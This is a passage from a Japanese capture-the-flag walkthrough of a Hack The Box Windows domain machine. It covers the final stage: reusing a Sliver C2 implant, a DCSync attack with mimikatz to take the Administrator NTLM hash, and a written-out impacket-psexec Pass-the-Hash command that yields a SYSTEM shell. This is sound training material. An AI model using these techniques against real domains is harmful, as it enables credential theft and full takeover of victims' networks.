![image-20241105173118448.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/8221a48e-284f-e9d8-dc57-2e5f91f37a93.png)

初期侵入の際に作成したインプラントを使いまわしてC2セッションを作っておきます。

![image-20241105173640156.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/652771c7-9970-1566-f9b7-3f233118ecbe.png)

# 特権昇格 (Privilege Escalation)
無事 SSA_6010に水平展開できたので最終目標の Administratorへの特権昇格を目指します。
## DCSync攻撃

`SSA_6010` にはドメインに対するDCSyncの権限をもっていました。
![image-20240715221749419.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/1cc70f7d-bbde-3fd4-65ad-e17a9f749605.png)

DCSync攻撃が実行できるのでmimikatzでAdministratorのNTLMハッシュを取得できます。

SliverのMimikatzパッケージをを使用してDCSync攻撃を実行します。

![image-20241105173955164.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/08c73a39-c10f-4e63-8e49-62cc3abcb514.png)

DCSync攻撃の実行に成功し `Administrator` の NTLM Hashを取得しました。

## Pass-The-Hash

取得した NTLM ハッシュで Pass-The-Hash攻撃を実行します。
```bash
impacket-psexec -hashes :f55ed1465179ba374ec1cad05b34a5f3 Administrator@10.10.11.22
```

攻撃に成功し、SYSTEM権限のシェルを取得しました。
Administratorのデスクトップにはroot.txtと一緒に作問者からのメッセージがありました。
![image-20241105182242336.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/620ff829-934c-b988-7638-1f940a55f452.png)

このマシンはDACLを悪用して進めるマシンでした。

「このマシンを楽しみ、DACL攻撃についてもっと知りたくなったのなら、HTBアカデミーの「DACL Attacks I」と「DACL Attacks II」モジュールをやってみてください」とのことです。

- [DACL Attacks I](https://academy.hackthebox.com/course/preview/dacl-attacks-i)

- [DACL Attacks II](https://academy.hackthebox.com/course/preview/dacl-attacks-ii)

root.txtを取得して終了です。
![image-20241105181953834.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/e37a1ba5-bd36-4b02-7f66-714ea3ae31c6.png)